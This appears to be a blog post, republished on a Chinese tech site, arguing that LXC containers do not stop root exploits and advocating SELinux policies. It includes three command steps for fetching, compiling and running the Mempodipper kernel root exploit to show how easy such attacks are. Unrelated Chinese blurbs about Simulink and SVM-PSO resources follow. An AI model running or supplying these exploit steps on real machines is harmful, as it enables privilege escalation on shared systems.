Are LXC container security enough

本文探讨了LXC作为容器技术的安全局限性,并提出了结合SELinux策略来增强安全性的方式。通过SELinux的强制访问控制机制,可以有效地限制容器内的进程权限,防止恶意行为和漏洞利用。

First off, let me state that I think the LXC project is great.  In previous blog posts, I’ve talked about segmenting existing virtual machines to securely run multiple workloads and achieve better flexibility, cost, etc.  This concept is often referred to as ‘Linux Containers’ and creating these containers with the LXC project is a very popular approach.  LXC  aggregates a collection of other technologies such as Linux Control Groups, Kernel Namespaces, Bind Mounts and others to accomplish this in an easy way.  Good stuff.  The question however, is whether LXC alone is enough to give you confidence in your approach to utilizing Linux containers.

In the words of Dan Berrange:

Repeat after me “LXC is not yet secure. [. . .]”

In other words, no it’s not enough.  The main problem right now is that LXC doesn’t have any inherent protection against exploits that allow a user to become root.  In the world of Linux, traditionally if you have root you can do anything.  When using containers, that means that if one container can find a way to become root on the machine, it can do whatever it wants with all the other containers on the box.  I think the official term for that situation in IT is a ‘cluster’.  While the concept of capabilities is being introduced into the kernel to help segment the abilities that root actually has, that is a long ways out from being a realistic defense, especially on the production systems in deployment today.

How realistic are these exploits, though?  To many, the concept of a kernel or security exploit is something they would rather believe just doesn’t actually happen.  Maybe they prefer to think that it’s limited to the realm of academic discussions.  Or maybe they just believe it’s not going to happen to them.

Unfortunately, the reality is quite different.  While I agree that finding an exploit requires an amazing amount knowledge and creativity, using an exploit for malicious purposes isn’t that challenging.  For example, let’s look at the excellent article written by Jason A. Donenfeld about a kernel exploit that is able to achieve root access.  Jason explains how this exploit works in amazing detail here - http://blog.zx2c4.com/749.  Believe me, discovering that and writing that article was a LOT of work.  But now, let’s look at how easy it is to use that exploit on unpatched kernels:

  • Download the provided C program (e.g. wget http://bit.ly/wELTpn)
  • Compile it (gcc mempodipper.c -o mempodipper)
  • Run it and get root access (./mempodipper)

Pretty scary huh?  Three steps and I could get root on your machine.  I can hear the sighs of relief already though, as people start thinking:

I don’t have to worry about this since I don’t let people run arbitrary code run on my machines…

Let’s discuss that train of thought for a minute.  First, let’s approach this from the perspective of a Platform as a Service (PaaS).  A PaaS essentially allows users to run their own code on machines shared by many.  That means experimenting with an exploit like this in a PaaS environment isn’t very difficult at all.  And remember, if any user can get root on that system, they own all the applications on it.

Not consuming or hosting a PaaS?  Well, I’ve spent many years in IT shops and the traditional IT deployments for large companies don’t look all too different.  Granted, the code is usually coming from employees and contractors, but you still probably don’t want to risk root exposures by anyone that is able to deploy a change into your environment.

Well if LXC doesn’t protect against this and my traditional environments are susceptible as well, is there any hope at all?!?!  Thankfully, there is.

The solution is using SELinux in combination with whatever container technologies you are using.  With an SELinux policy, you are essentially able to control the operations of any running process, regardless of what user they happen to be.  SELinux provides a layer of protection against the root layer where most other security mechanisms fail.  When a user is running in a SELinux context on a system and tries an exploit like the one above, you have an extra line of defense.  It’s easy for you to establish a confined environment that limits riskier operations like syscalls to setuid and restricts memory access which, in turn, would stop this exploit and others.  Most importantly, you can get consistent protection across any process, no matter what user they are running as.

You can think of SELinux as a whitelisting approach instead of blacklisting.  The traditional model of security (often referred to as Discretionary Access Control or DAC) requires protecting against anything a user should not be able to do.  Given the complexity of systems today, that’s becoming unrealistic for mere mortals.  The SELinux model of security (often referred to as Mandatory Access Control or MAC) requires enabling everything a user should be able to do.

While it’s not a silver bullet, it’s an elegant mitigation in many areas.  Many types of IT hosting are becoming increasingly standardized and you can put in place fairly simple policies that specify what users should be able to do.  For web applications, you are going to allow binding to HTTP / HTTPS ports.  You are going to probably allow JDBC connections.  You can describe the allowed behaviors of many of your applications in a fairly concise way.  Thinking of security this way mitigates many of the exploits that take a creative path like the one above (setuid access, /proc file descriptor access, and memory manipulation).  Unless you have a pretty special web application, it’s safe to say it shouldn’t be doing that stuff :)

Interested in learning more?  The place I recommend to start is with the Fedora documentation.  Fedora and RHEL have some of the best SELinux policies and support in the industry.  The documentation covers everything from learning SELinux to debugging it.  Most importantly though, don’t get fooled into thinking all Linux distributions are the same.  While SELinux support is in the kernel, what really matters is the ecosystem of policies that exist.  In Fedora or RHEL, you get whitelists ready-made for a slew of well known systems like Apache.  In many other distros, you’d spend your time having to recreate that work for the standard systems and never have any time to focus on your application policies.  Probably not your best use of time and would be a daunting first experience with SELinux to say the least.

My last disclaimer is that even as powerful as SELinux is, I wouldn’t recommend on putting all your eggs in one basket when it comes to security.  Combine SELinux with other security measures and maintain traditional operational best practices to minimize your exposure (e.g. apply security updates, audit, etc).  In other words, use it as an enhancement to what you do today, not a replacement.

Well, if you’ve made it this far, I’ll assume you are a convert: Welcome to the world of SELinux and sleeping a little better at night!

【电力系统】单机无穷大电力系统短路故障暂态稳定Simulink仿真(带说明文档)内容概要:本文档围绕“单机无穷大电力系统短路故障暂态稳定Simulink仿真”展开,提供了完整的仿真模型与说明文档,重点研究电力系统在发生短路故障后的暂态稳定性问题。通过Simulink搭建单机无穷大系统模型,模拟不同类型的短路故障(如三相短路),分析系统在故障期间及切除后的动态响应,包括发电机转子角度、转速、电压和功率等关键参数的变化,进而评估系统的暂态稳定能力。该仿真有助于理解电力系统稳定性机理,掌握暂态过程分析方法。; 适合人群:电气工程及相关专业的本科生、研究生,以及从事电力系统分析、运行与控制工作的科研人员和工程师。; 使用场景及目标:①学习电力系统暂态稳定的基本概念与分析方法;②掌握利用Simulink进行电力系统建模与仿真的技能;③研究短路故障对系统稳定性的影响及提高稳定性的措施(如故障清除时间优化);④辅助课程设计、毕业设计或科研项目中的系统仿真验证。; 阅读建议:建议结合电力系统稳定性理论知识进行学习,先理解仿真模型各模块的功能与参数设置,再运行仿真并仔细分析输出结果,尝试改变故障类型或系统参数以观察其对稳定性的影响,从而深化对暂态稳定问题的理解。
本研究聚焦于运用MATLAB平台,将支持向量机(SVM)应用于数据预测任务,并引入粒子群优化(PSO)算法对模型的关键参数进行自动调优。该研究属于机器学习领域的典型实践,其核心在于利用SVM构建分类模型,同时借助PSO的全局搜索能力,高效确定SVM的最优超参数配置,从而显著增强模型的整体预测效能。 支持向量机作为一种经典的监督学习方法,其基本原理是通过在高维特征空间中构造一个具有最大间隔的决策边界,以实现对样本数据的分类或回归分析。该算法擅长处理小规模样本集、非线性关系以及高维度特征识别问题,其有效性源于通过核函数将原始数据映射至更高维的空间,使得原本复杂的分类问题变得线性可分。 粒子群优化算法是一种模拟鸟群社会行为的群体智能优化技术。在该算法框架下,每个潜在解被视作一个“粒子”,粒子群在解空间中协同搜索,通过不断迭代更新自身速度与位置,并参考个体历史最优解和群体全局最优解的信息,逐步逼近问题的最优解。在本应用中,PSO被专门用于搜寻SVM中影响模型性能的两个关键参数——正则化参数C与核函数参数γ的最优组合。 项目所提供的实现代码涵盖了从数据加载、预处理(如标准化处理)、基础SVM模型构建到PSO优化流程的完整步骤。优化过程会针对不同的核函数(例如线性核、多项式核及径向基函数核等)进行参数寻优,并系统评估优化前后模型性能的差异。性能对比通常基于准确率、精确率、召回率及F1分数等多项分类指标展开,从而定量验证PSO算法在提升SVM模型分类能力方面的实际效果。 本研究通过一个具体的MATLAB实现案例,旨在演示如何将全局优化算法与机器学习模型相结合,以解决模型参数选择这一关键问题。通过此实践,研究者不仅能够深入理解SVM的工作原理,还能掌握利用智能优化技术提升模型泛化性能的有效方法,这对于机器学习在实际问题中的应用具有重要的参考价值。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值